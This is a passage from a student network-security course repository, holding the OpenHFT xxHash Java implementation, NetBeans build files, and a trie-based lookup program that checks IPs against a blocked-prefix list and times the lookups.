43 | BYTE_BASE = UNSAFE.arrayBaseOffset(byte[].class);
44 | CHAR_BASE = UNSAFE.arrayBaseOffset(char[].class);
45 | SHORT_BASE = UNSAFE.arrayBaseOffset(short[].class);
46 | INT_BASE = UNSAFE.arrayBaseOffset(int[].class);
47 | LONG_BASE = UNSAFE.arrayBaseOffset(long[].class);
48 | } catch (Exception e) {
49 | throw new AssertionError(e);
50 | }
51 | }
52 |
53 | private UnsafeAccess() {}
54 |
55 | @Override
56 | public long getLong(Object input, long offset) {
57 | return UNSAFE.getLong(input, offset);
58 | }
59 |
60 | @Override
61 | public long getUnsignedInt(Object input, long offset) {
62 | return unsignedInt(getInt(input, offset));
63 | }
64 |
65 | @Override
66 | public int getInt(Object input, long offset) {
67 | return UNSAFE.getInt(input, offset);
68 | }
69 |
70 | @Override
71 | public int getUnsignedShort(Object input, long offset) {
72 | return unsignedShort(getShort(input, offset));
73 | }
74 |
75 | @Override
76 | public int getShort(Object input, long offset) {
77 | return UNSAFE.getShort(input, offset);
78 | }
79 |
80 | @Override
81 | public int getUnsignedByte(Object input, long offset) {
82 | return unsignedByte(getByte(input, offset));
83 | }
84 |
85 | @Override
86 | public int getByte(Object input, long offset) {
87 | return UNSAFE.getByte(input, offset);
88 | }
89 |
90 | @Override
91 | public ByteOrder byteOrder(Object input) {
92 | return ByteOrder.nativeOrder();
93 | }
94 |
95 | }
96 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/src/net/openhft/hashing/XxHash.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2015 Higher Frequency Trading http://www.higherfrequencytrading.com
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 |
17 | package net.openhft.hashing;
18 |
19 | import static java.nio.ByteOrder.LITTLE_ENDIAN;
20 | import static net.openhft.hashing.LongHashFunction.NATIVE_LITTLE_ENDIAN;
21 |
22 | /**
23 | * Adapted version of xxHash implementation from https://github.com/Cyan4973/xxHash.
24 | * This implementation provides endian-independant hash values, but it's slower on big-endian platforms.
25 | */
26 | class XxHash {
27 | private static final XxHash INSTANCE = new XxHash();
28 | private static final XxHash NATIVE_XX = NATIVE_LITTLE_ENDIAN ?
29 | XxHash.INSTANCE : BigEndian.INSTANCE;
30 |
31 | // Primes if treated as unsigned
32 | private static final long P1 = -7046029288634856825L;
33 | private static final long P2 = -4417276706812531889L;
34 | private static final long P3 = 1609587929392839161L;
35 | private static final long P4 = -8796714831421723037L;
36 | private static final long P5 = 2870177450012600261L;
37 |
38 | private XxHash() {}
39 |
40 | long fetch64(Access access, T in, long off) {
41 | return access.getLong(in, off);
42 | }
43 |
44 | // long because of unsigned nature of original algorithm
45 | long fetch32(Access access, T in, long off) {
46 | return access.getUnsignedInt(in, off);
47 | }
48 |
49 | // int because of unsigned nature of original algorithm
50 | int fetch8(Access access, T in, long off) {
51 | return access.getUnsignedByte(in, off);
52 | }
53 |
54 | long toLittleEndian(long v) {
55 | return v;
56 | }
57 |
58 | int toLittleEndian(int v) {
59 | return v;
60 | }
61 |
62 | short toLittleEndian(short v) {
63 | return v;
64 | }
65 |
66 | public long xxHash64(long seed, T input, Access access, long off, long length) {
67 | long hash;
68 | long remaining = length;
69 |
70 | if (remaining >= 32) {
71 | long v1 = seed + P1 + P2;
72 | long v2 = seed + P2;
73 | long v3 = seed;
74 | long v4 = seed - P1;
75 |
76 | do {
77 | v1 += fetch64(access, input, off) * P2;
78 | v1 = Long.rotateLeft(v1, 31);
79 | v1 *= P1;
80 |
81 | v2 += fetch64(access, input, off + 8) * P2;
82 | v2 = Long.rotateLeft(v2, 31);
83 | v2 *= P1;
84 |
85 | v3 += fetch64(access, input, off + 16) * P2;
86 | v3 = Long.rotateLeft(v3, 31);
87 | v3 *= P1;
88 |
89 | v4 += fetch64(access, input, off + 24) * P2;
90 | v4 = Long.rotateLeft(v4, 31);
91 | v4 *= P1;
92 |
93 | off += 32;
94 | remaining -= 32;
95 | } while (remaining >= 32);
96 |
97 | hash = Long.rotateLeft(v1, 1)
98 | + Long.rotateLeft(v2, 7)
99 | + Long.rotateLeft(v3, 12)
100 | + Long.rotateLeft(v4, 18);
101 |
102 | v1 *= P2;
103 | v1 = Long.rotateLeft(v1, 31);
104 | v1 *= P1;
105 | hash ^= v1;
106 | hash = hash * P1 + P4;
107 |
108 | v2 *= P2;
109 | v2 = Long.rotateLeft(v2, 31);
110 | v2 *= P1;
111 | hash ^= v2;
112 | hash = hash * P1 + P4;
113 |
114 | v3 *= P2;
115 | v3 = Long.rotateLeft(v3, 31);
116 | v3 *= P1;
117 | hash ^= v3;
118 | hash = hash * P1 + P4;
119 |
120 | v4 *= P2;
121 | v4 = Long.rotateLeft(v4, 31);
122 | v4 *= P1;
123 | hash ^= v4;
124 | hash = hash * P1 + P4;
125 | } else {
126 | hash = seed + P5;
127 | }
128 |
129 | hash += length;
130 |
131 | while (remaining >= 8) {
132 | long k1 = fetch64(access, input, off);
133 | k1 *= P2;
134 | k1 = Long.rotateLeft(k1, 31);
135 | k1 *= P1;
136 | hash ^= k1;
137 | hash = Long.rotateLeft(hash, 27) * P1 + P4;
138 | off += 8;
139 | remaining -= 8;
140 | }
141 |
142 | if (remaining >= 4) {
143 | hash ^= fetch32(access, input, off) * P1;
144 | hash = Long.rotateLeft(hash, 23) * P2 + P3;
145 | off += 4;
146 | remaining -= 4;
147 | }
148 |
149 | while (remaining != 0) {
150 | hash ^= fetch8(access, input, off) * P5;
151 | hash = Long.rotateLeft(hash, 11) * P1;
152 | --remaining;
153 | ++off;
154 | }
155 |
156 | return finalize(hash);
157 | }
158 |
159 | private static long finalize(long hash) {
160 | hash ^= hash >>> 33;
161 | hash *= P2;
162 | hash ^= hash >>> 29;
163 | hash *= P3;
164 | hash ^= hash >>> 32;
165 | return hash;
166 | }
167 |
168 | private static class BigEndian extends XxHash {
169 | private static final BigEndian INSTANCE = new BigEndian();
170 |
171 | private BigEndian() {}
172 |
173 | @Override
174 | long fetch64(Access access, T in, long off) {
175 | return Long.reverseBytes(super.fetch64(access, in, off));
176 | }
177 |
178 | @Override
179 | long fetch32(Access access, T in, long off) {
180 | return Integer.reverseBytes(access.getInt(in, off)) & 0xFFFFFFFFL;
181 | }
182 |
183 | // fetch8 is not overloaded, because endianness doesn't matter for single byte
184 |
185 | @Override
186 | long toLittleEndian(long v) {
187 | return Long.reverseBytes(v);
188 | }
189 |
190 | @Override
191 | int toLittleEndian(int v) {
192 | return Integer.reverseBytes(v);
193 | }
194 |
195 | @Override
196 | short toLittleEndian(short v) {
197 | return Short.reverseBytes(v);
198 | }
199 | }
200 |
201 | public static LongHashFunction asLongHashFunctionWithoutSeed() {
202 | return AsLongHashFunction.SEEDLESS_INSTANCE;
203 | }
204 |
205 | private static class AsLongHashFunction extends LongHashFunction {
206 | public static final AsLongHashFunction SEEDLESS_INSTANCE = new AsLongHashFunction();
207 | private static final long serialVersionUID = 0L;
208 |
209 | private Object readResolve() {
210 | return SEEDLESS_INSTANCE;
211 | }
212 |
213 | public long seed() {
214 | return 0L;
215 | }
216 |
217 | @Override
218 | public long hashLong(long input) {
219 | input = NATIVE_XX.toLittleEndian(input);
220 | long hash = seed() + P5 + 8;
221 | input *= P2;
222 | input = Long.rotateLeft(input, 31);
223 | input *= P1;
224 | hash ^= input;
225 | hash = Long.rotateLeft(hash, 27) * P1 + P4;
226 | return XxHash.finalize(hash);
227 | }
228 |
229 | @Override
230 | public long hashInt(int input) {
231 | input = NATIVE_XX.toLittleEndian(input);
232 | long hash = seed() + P5 + 4;
233 | hash ^= Primitives.unsignedInt(input) * P1;
234 | hash = Long.rotateLeft(hash, 23) * P2 + P3;
235 | return XxHash.finalize(hash);
236 | }
237 |
238 | @Override
239 | public long hashShort(short input) {
240 | input = NATIVE_XX.toLittleEndian(input);
241 | long hash = seed() + P5 + 2;
242 | hash ^= Primitives.unsignedByte(input) * P5;
243 | hash = Long.rotateLeft(hash, 11) * P1;
244 | hash ^= Primitives.unsignedByte(input >> 8) * P5;
245 | hash = Long.rotateLeft(hash, 11) * P1;
246 | return XxHash.finalize(hash);
247 | }
248 |
249 | @Override
250 | public long hashChar(char input) {
251 | return hashShort((short) input);
252 | }
253 |
254 | @Override
255 | public long hashByte(byte input) {
256 | long hash = seed() + P5 + 1;
257 | hash ^= Primitives.unsignedByte(input) * P5;
258 | hash = Long.rotateLeft(hash, 11) * P1;
259 | return XxHash.finalize(hash);
260 | }
261 |
262 | @Override
263 | public long hashVoid() {
264 | return XxHash.finalize(P5);
265 | }
266 |
267 | @Override
268 | public long hash(T input, Access access, long off, long len) {
269 | long seed = seed();
270 | if (access.byteOrder(input) == LITTLE_ENDIAN) {
271 | return XxHash.INSTANCE.xxHash64(seed, input, access, off, len);
272 | } else {
273 | return BigEndian.INSTANCE.xxHash64(seed, input, access, off, len);
274 | }
275 | }
276 | }
277 |
278 | public static LongHashFunction asLongHashFunctionWithSeed(long seed) {
279 | return new AsLongHashFunctionSeeded(seed);
280 | }
281 |
282 | private static class AsLongHashFunctionSeeded extends AsLongHashFunction {
283 | private final long seed;
284 | private final long voidHash;
285 |
286 | private AsLongHashFunctionSeeded(long seed) {
287 | this.seed = seed;
288 | voidHash = XxHash.finalize(seed + P5);
289 | }
290 |
291 | @Override
292 | public long seed() {
293 | return seed;
294 | }
295 |
296 | @Override
297 | public long hashVoid() {
298 | return voidHash;
299 | }
300 | }
301 | }
302 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/src/net/openhft/hashing/package-info.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2014 Higher Frequency Trading http://www.higherfrequencytrading.com
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 |
17 | /**
18 | * API for hashing sequential data and zero-allocation, pretty fast implementations
19 | * of non-cryptographic hash functions.
20 | *
21 | * Currently implemented:
22 | *
23 | * {@code long}-valued functions: see {@link net.openhft.hashing.LongHashFunction}
24 | *
25 | *
26 | * {@linkplain net.openhft.hashing.LongHashFunction#xx() xxHash without seed} and
27 | * {@linkplain net.openhft.hashing.LongHashFunction#xx(long) with a seed}.
28 | *
29 | *
30 | * {@linkplain net.openhft.hashing.LongHashFunction#farmUo() FarmHash 1.1 (farmhashuo)
31 | * without seed}, {@linkplain net.openhft.hashing.LongHashFunction#farmUo(long) with one
32 | * seed} and {@linkplain net.openhft.hashing.LongHashFunction#farmUo(long, long) with
33 | * two seeds}.
34 | *
35 | *
36 | * {@linkplain net.openhft.hashing.LongHashFunction#farmNa() FarmHash 1.0 (farmhashna)
37 | * without seed}, {@linkplain net.openhft.hashing.LongHashFunction#farmNa(long) with one
38 | * seed} and {@linkplain net.openhft.hashing.LongHashFunction#farmNa(long, long) with
39 | * two seeds}.
40 | *
41 | *
42 | * {@linkplain net.openhft.hashing.LongHashFunction#city_1_1() CityHash 1.1 without seeds},
43 | * {@linkplain net.openhft.hashing.LongHashFunction#city_1_1(long) with one seed} and
44 | * {@linkplain net.openhft.hashing.LongHashFunction#city_1_1(long, long) with two seeds}.
45 | *
46 | *
47 | * {@linkplain net.openhft.hashing.LongHashFunction#murmur_3() MurmurHash3 without seed} and
48 | * {@linkplain net.openhft.hashing.LongHashFunction#murmur_3(long) with a seed}.
49 | *
50 | *
51 | *
52 | *
53 | */
54 | package net.openhft.hashing;
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/build.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 | Builds, tests, and runs the project TrieMatch.
12 |
13 |
73 |
74 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/build/built-jar.properties:
--------------------------------------------------------------------------------
1 | #Tue, 13 Mar 2018 22:15:50 +0100
2 |
3 |
4 | C\:\\Users\\Thinkpad\\Desktop\\University\\Advanced\ Network\ Security\\shareFolder\\Week4-DDOS\\TrieMatch=
5 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/build/classes/triematch/FileReader.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 4/TrieMatch/build/classes/triematch/FileReader.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/build/classes/triematch/IpAddress.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 4/TrieMatch/build/classes/triematch/IpAddress.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/build/classes/triematch/Node.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 4/TrieMatch/build/classes/triematch/Node.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/build/classes/triematch/TrieMatch.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 4/TrieMatch/build/classes/triematch/TrieMatch.class
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/dist/README.TXT:
--------------------------------------------------------------------------------
1 | ========================
2 | BUILD OUTPUT DESCRIPTION
3 | ========================
4 |
5 | When you build an Java application project that has a main class, the IDE
6 | automatically copies all of the JAR
7 | files on the projects classpath to your projects dist/lib folder. The IDE
8 | also adds each of the JAR files to the Class-Path element in the application
9 | JAR files manifest file (MANIFEST.MF).
10 |
11 | To run the project from the command line, go to the dist folder and
12 | type the following:
13 |
14 | java -jar "TrieMatch.jar"
15 |
16 | To distribute this project, zip up the dist folder (including the lib folder)
17 | and distribute the ZIP file.
18 |
19 | Notes:
20 |
21 | * If two JAR files on the project classpath have the same name, only the first
22 | JAR file is copied to the lib folder.
23 | * Only JAR files are copied to the lib folder.
24 | If the classpath contains other types of files or folders, these files (folders)
25 | are not copied.
26 | * If a library on the projects classpath also has a Class-Path element
27 | specified in the manifest,the content of the Class-Path element has to be on
28 | the projects runtime path.
29 | * To set a main class in a standard Java project, right-click the project node
30 | in the Projects window and choose Properties. Then click Run and enter the
31 | class name in the Main Class field. Alternatively, you can manually type the
32 | class name in the manifest Main-Class element.
33 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/dist/TrieMatch.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/umeer/AdvancedNetworkSecurityProjects/4f717c211d02e8245da51130ed9ff44342e8c7e6/Project 4/Project files/Task 4/TrieMatch/dist/TrieMatch.jar
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/manifest.mf:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | X-COMMENT: Main-Class will be added automatically by build
3 |
4 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/nbproject/genfiles.properties:
--------------------------------------------------------------------------------
1 | build.xml.data.CRC32=ac216841
2 | build.xml.script.CRC32=9a5e2ea0
3 | build.xml.stylesheet.CRC32=8064a381@1.80.1.48
4 | # This file is used by a NetBeans-based IDE to track changes in generated files such as build-impl.xml.
5 | # Do not edit this file. You may delete it but then the IDE will never regenerate such files for you.
6 | nbproject/build-impl.xml.data.CRC32=ac216841
7 | nbproject/build-impl.xml.script.CRC32=f18547b5
8 | nbproject/build-impl.xml.stylesheet.CRC32=830a3534@1.80.1.48
9 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/nbproject/private/private.properties:
--------------------------------------------------------------------------------
1 | compile.on.save=true
2 | user.properties.file=C:\\Users\\Thinkpad\\AppData\\Roaming\\NetBeans\\8.2\\build.properties
3 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/nbproject/private/private.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/nbproject/project.properties:
--------------------------------------------------------------------------------
1 | annotation.processing.enabled=true
2 | annotation.processing.enabled.in.editor=false
3 | annotation.processing.processor.options=
4 | annotation.processing.processors.list=
5 | annotation.processing.run.all.processors=true
6 | annotation.processing.source.output=${build.generated.sources.dir}/ap-source-output
7 | build.classes.dir=${build.dir}/classes
8 | build.classes.excludes=**/*.java,**/*.form
9 | # This directory is removed when the project is cleaned:
10 | build.dir=build
11 | build.generated.dir=${build.dir}/generated
12 | build.generated.sources.dir=${build.dir}/generated-sources
13 | # Only compile against the classpath explicitly listed here:
14 | build.sysclasspath=ignore
15 | build.test.classes.dir=${build.dir}/test/classes
16 | build.test.results.dir=${build.dir}/test/results
17 | # Uncomment to specify the preferred debugger connection transport:
18 | #debug.transport=dt_socket
19 | debug.classpath=\
20 | ${run.classpath}
21 | debug.test.classpath=\
22 | ${run.test.classpath}
23 | # Files in build.classes.dir which should be excluded from distribution jar
24 | dist.archive.excludes=
25 | # This directory is removed when the project is cleaned:
26 | dist.dir=dist
27 | dist.jar=${dist.dir}/TrieMatch.jar
28 | dist.javadoc.dir=${dist.dir}/javadoc
29 | excludes=
30 | includes=**
31 | jar.compress=false
32 | javac.classpath=
33 | # Space-separated list of extra javac options
34 | javac.compilerargs=
35 | javac.deprecation=false
36 | javac.external.vm=true
37 | javac.processorpath=\
38 | ${javac.classpath}
39 | javac.source=1.8
40 | javac.target=1.8
41 | javac.test.classpath=\
42 | ${javac.classpath}:\
43 | ${build.classes.dir}
44 | javac.test.processorpath=\
45 | ${javac.test.classpath}
46 | javadoc.additionalparam=
47 | javadoc.author=false
48 | javadoc.encoding=${source.encoding}
49 | javadoc.noindex=false
50 | javadoc.nonavbar=false
51 | javadoc.notree=false
52 | javadoc.private=false
53 | javadoc.splitindex=true
54 | javadoc.use=true
55 | javadoc.version=false
56 | javadoc.windowtitle=
57 | main.class=triematch.TrieMatch
58 | manifest.file=manifest.mf
59 | meta.inf.dir=${src.dir}/META-INF
60 | mkdist.disabled=false
61 | platform.active=default_platform
62 | run.classpath=\
63 | ${javac.classpath}:\
64 | ${build.classes.dir}
65 | # Space-separated list of JVM arguments used when running the project.
66 | # You may also define separate properties like run-sys-prop.name=value instead of -Dname=value.
67 | # To set system properties for unit tests define test-sys-prop.name=value:
68 | run.jvmargs=
69 | run.test.classpath=\
70 | ${javac.test.classpath}:\
71 | ${build.test.classes.dir}
72 | source.encoding=UTF-8
73 | src.dir=src
74 | test.src.dir=test
75 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/nbproject/project.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | org.netbeans.modules.java.j2seproject
4 |
5 |
6 | TrieMatch
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/src/triematch/FileReader.java:
--------------------------------------------------------------------------------
1 | package triematch;
2 |
3 | import java.io.BufferedReader;
4 | import java.io.IOException;
5 | import java.nio.charset.StandardCharsets;
6 | import java.nio.file.FileSystems;
7 | import java.nio.file.Files;
8 | import java.nio.file.Path;
9 | import java.util.ArrayList;
10 | import java.util.List;
11 | import java.util.logging.Level;
12 | import java.util.logging.Logger;
13 |
14 | /**
15 | *
16 | * @author Thinkpad
17 | */
18 | public class FileReader {
19 |
20 | private String fileName;
21 | private ArrayList listIp = new ArrayList();
22 |
23 | public FileReader(String fileName) {
24 | this.fileName = fileName;
25 | readFile();
26 | }
27 |
28 | private void readFile() {
29 |
30 | try {
31 | Path path = FileSystems.getDefault().getPath(fileName);
32 | List lines = Files.readAllLines(path, StandardCharsets.UTF_8);
33 | parseData(lines);
34 | } catch (IOException ex) {
35 | Logger.getLogger(FileReader.class.getName()).log(Level.SEVERE, null, ex);
36 | }
37 | }
38 |
39 | private void parseData(List lines) {
40 | for (String line : lines) {
41 |
42 | try {
43 | String ip = line.substring(0, line.indexOf("/"));
44 | String mask = (line.substring(line.indexOf("/") + 1, line.indexOf("/") + 3)).replace("\t", "");
45 | listIp.add(new IpAddress(ip, Integer.parseInt(mask)));
46 | //System.out.println(ip + " " + mask);
47 | } catch (Exception e) {
48 | System.out.println("Data parsing failed: " + line.substring(0, line.indexOf("/")) + " #" + line.substring(line.indexOf("/") + 1, line.indexOf("/") + 3) + "#");
49 | }
50 |
51 | }
52 |
53 | if (listIp.size() > 0) {
54 | conversionData();
55 | }
56 | }
57 |
58 | private void conversionData() {
59 | for (IpAddress ipAddress : listIp) {
60 | ipAddress.addressBinary = IpAddress.binaryConversion(ipAddress.address).subSequence(0, ipAddress.subnet) + "";
61 | }
62 | }
63 |
64 | public ArrayList getListIp(int quantity) {
65 |
66 | if (quantity < 0) {
67 | return listIp;
68 | } else {
69 |
70 | ArrayList returnItem = new ArrayList();
71 | for (IpAddress ipAddress : listIp) {
72 | returnItem.add(ipAddress);
73 | quantity--;
74 | if (quantity < 1) {
75 | break;
76 | }
77 |
78 | }
79 |
80 | return returnItem;
81 | }
82 | }
83 | }
84 |
85 | class IpAddress {
86 |
87 | public String address;
88 | public String addressBinary;
89 | public int subnet;
90 |
91 | public IpAddress(String address, int subnet) {
92 | this.address = address;
93 | this.subnet = subnet;
94 | }
95 |
96 | public static String binaryConversion(final String ip) {
97 | int len = ip.length();
98 | int addr = 0;
99 | int fullAddr = 0;
100 | char[] out = new char[32];
101 |
102 | // Parse the four segments of the IP address.
103 | for (int i = 0; i < len; i++) {
104 | char digit = ip.charAt(i);
105 | if (digit != '.') {
106 | addr = addr * 10 + (digit - '0');
107 | } else {
108 | fullAddr = (fullAddr << 8) | addr;
109 | addr = 0;
110 | }
111 | }
112 | fullAddr = (fullAddr << 8) | addr;
113 |
114 | // At this point, fullAddr holds the IP address as a 32-bit integer.
115 | for (int i = 0; i < 32; i++, fullAddr <<= 1) {
116 | out[i] = ((fullAddr & 0x80000000) != 0) ? '1' : '0';
117 | }
118 | return new String(out);
119 | }
120 |
121 | }
122 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/src/triematch/Node.java:
--------------------------------------------------------------------------------
1 | package triematch;
2 |
3 | import java.util.ArrayList;
4 |
5 | /**
6 | *
7 | * @author Thinkpad
8 | */
9 | public class Node {
10 |
11 | private ArrayList nodesBelow = new ArrayList();
12 | private int step = 1;
13 | private String value;
14 | public static int numberOfLookup=0;
15 |
16 | public Node(int step) {
17 | this.step = step;
18 | }
19 |
20 | public void build(String dataString) {
21 | if (dataString.length() > 0) {
22 | //System.out.println("Node: " + this.toString() + " - Info to parse: " + dataString);
23 | value = dataString.substring(0, Math.min(step, dataString.length()));
24 | //System.out.println("Node: " + this.toString() + " - My values is/are: " + value);
25 | dataString = dataString.substring(Math.min(step, dataString.length()), dataString.length());
26 | //System.out.println(" The remainig data is: " + dataString);
27 |
28 | if (dataString.length() != 0) {
29 | if (nodesBelow.size() == 0) { //It's a new node down
30 | Node newNode = new Node(step);
31 | newNode.build(dataString);
32 | nodesBelow.add(newNode);
33 | } else { //I have already some node down
34 |
35 | Boolean isThere = false;
36 | for (Node node : nodesBelow) {
37 | if (node.getValue().compareTo(dataString.substring(0, Math.min(step, dataString.length()))) == 0) {
38 | //System.out.println("Node: " + this.toString() + " - I have already this node");
39 | if(node.getTreeSize()!=0){
40 | node.build(dataString); //Let's continue the build
41 | isThere = true;
42 | }else{
43 | //System.out.println("Node: " + this.toString() + " - The tree is short and i'm stopping here\n");
44 | return;
45 | }
46 | }
47 | }
48 |
49 | if (isThere == false) {
50 | Node newNode = new Node(step);
51 | newNode.build(dataString);
52 | nodesBelow.add(newNode);
53 | }
54 | }
55 | } else {
56 | //System.out.println("Node: " + this.toString() + " - Parsing ended and killed all the bottom\n");
57 | nodesBelow = new ArrayList();
58 | }
59 | } else {
60 | System.out.println("Parsing ended 2, there is an error!!");
61 | }
62 | }
63 |
64 | public void buildMain(String dataString) {
65 | if (dataString.length() > 0) {
66 | //System.out.println("Node: " + this.toString() + " - Info to parse main: " + dataString);
67 |
68 | //Optimization
69 | for (Node node : nodesBelow) {
70 | if (node.getValue().compareTo(dataString.substring(0, Math.min(step, dataString.length()))) != 0 && node.getValue().startsWith(dataString.substring(0, Math.min(step, dataString.length())))) {
71 | //System.out.println("Node: " + this.toString() + " - I have optimized the tree by chopping away "+node.toString()+" a long part");
72 | nodesBelow.remove(node);
73 |
74 |
75 | Node newNode = new Node(step);
76 | newNode.build(dataString.substring(0, Math.min(step, dataString.length())));
77 | nodesBelow.add(newNode);
78 | return; //The new value is short hence i don't need this entire line
79 | } else if (node.getValue().length() < step && dataString.substring(0, Math.min(step, dataString.length())).startsWith(node.getValue())) {
80 | //System.out.println("Node: " + this.toString() + " - The value \""+node.getValue()+"\" that is stored in one of my node is smaller so it will kill this entire new line\n");
81 | return; //The value is already sotred is short hence is killing all ip later
82 | }else if ( node.getValue().length()== step && node.getTreeSize() ==0 && dataString.length()>step && dataString.startsWith(node.getValue()) ){
83 | //System.out.println("Node: " + this.toString() + " - The value \""+node.getValue()+"\" that is stored in one of my node is smaller complete so it will kill this entire new line\n");
84 | return; //The value is already sotred is short hence is killing all ip later
85 | }
86 | }
87 |
88 | if (dataString.length() != 0) {
89 | if (nodesBelow.size() == 0) { //It's a new node down
90 | Node newNode = new Node(step);
91 | newNode.build(dataString);
92 | nodesBelow.add(newNode);
93 | } else { //I have already some node down
94 |
95 | Boolean isThere = false;
96 | for (Node node : nodesBelow) {
97 | if (node.getValue().compareTo(dataString.substring(0, Math.min(step, dataString.length()))) == 0) {
98 | //System.out.println("Node: " + this.toString() + " - I have already this node");
99 | node.build(dataString); //Let's continue the build
100 | isThere = true;
101 | }
102 | }
103 |
104 | if (isThere == false) {
105 | Node newNode = new Node(step);
106 | newNode.build(dataString);
107 | nodesBelow.add(newNode);
108 | }
109 | }
110 | } else {
111 | //System.out.println("Node: " + this.toString() + " - Parsing ended \n");
112 | }
113 | } else {
114 | System.out.println("Parsing ended 2, there is an error!!");
115 | }
116 | }
117 |
118 | public boolean check(String dataString) {
119 | numberOfLookup ++;
120 | for (Node node : nodesBelow) {
121 | if (node.getValue().compareTo(dataString.substring(0, Math.min(step, dataString.length()))) == 0) {
122 | return node.check(dataString.substring(Math.min(step, dataString.length()), dataString.length()));
123 | }
124 | }
125 |
126 | if(nodesBelow.size()==0){
127 | return true;
128 | }
129 |
130 | return false;
131 | }
132 |
133 | public String getValue() {
134 | return value;
135 | }
136 |
137 | public int getTreeSize(){
138 | return nodesBelow.size();
139 | }
140 |
141 | }
142 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 4/TrieMatch/src/triematch/TrieMatch.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Develped by Umeer Mohammad St.N.:4748549
3 | *
4 | */
5 | package triematch;
6 |
7 | import java.util.concurrent.ThreadLocalRandom;
8 | import java.util.ArrayList;
9 |
10 |
11 | /*
12 | Using java I built a tree generator based on dynamic class recursion.
13 | The program firstly read the data from a file (same data as the given website) and then it creates a tree, lastly, the program tests the lookup of random IPs and the output is given on console and it consists of duration time and number of lookups
14 | The program has multiple configuration parameters:
15 | • FILE_BLOCKED_IP = location of the blocked IP file
16 | • TOTAL_BLOCKED_IP = number of IP among the latter file that the program has to actually store in the tree, if equal to -1 it build the tree with all the IPS in the list.
17 | • WIDTH_OF_TREE = this number indicates the structure of the tree, if equal to 1 it's a single but trie and if equal to 2 the program will build a 2-stride multi-bit trie, it is however possible to set any positive integer number.
18 | • NUMBER_OR_READING_TEST = The output is based on an average on multiple random reading, this value indicates how many reading the program need to do.
19 | */
20 |
21 | public class TrieMatch {
22 |
23 | public static void main(String[] args) {
24 | String FILE_BLOCKED_IP = "data.txt";
25 | int TOTAL_BLOCKED_IP = -1; //if negative it will block all the ip in the file, if positive it indicated the number of ip blocked
26 | int WIDTH_OF_TREE = 2; // this number indicate the number of element stored in a node, for the assagament is 1 or 2
27 | int NUMBER_OR_READING_TEST = 1000; //How many reading i have to use for the average calculation?
28 |
29 |
30 | System.out.println("Umeer Mohammad St.N.:4748549");
31 |
32 | //Loading data
33 | FileReader file = new FileReader(FILE_BLOCKED_IP);
34 | ArrayList listIp = file.getListIp(TOTAL_BLOCKED_IP);
35 |
36 | //Database loading
37 | Node tree = new Node(WIDTH_OF_TREE);
38 | for (IpAddress ipAddress : listIp) {
39 | tree.buildMain(ipAddress.addressBinary);
40 | }
41 |
42 | System.out.println("\n\n\n\n");
43 |
44 | //Reading
45 | long lStartTime, lEndTime, diffTime, avgDiffTime = 0;
46 | int random, avgNumberOfHops = 0;
47 |
48 | for (int i = 0; i < NUMBER_OR_READING_TEST; i++) {
49 | Node.numberOfLookup = 0;
50 | lStartTime = System.nanoTime();
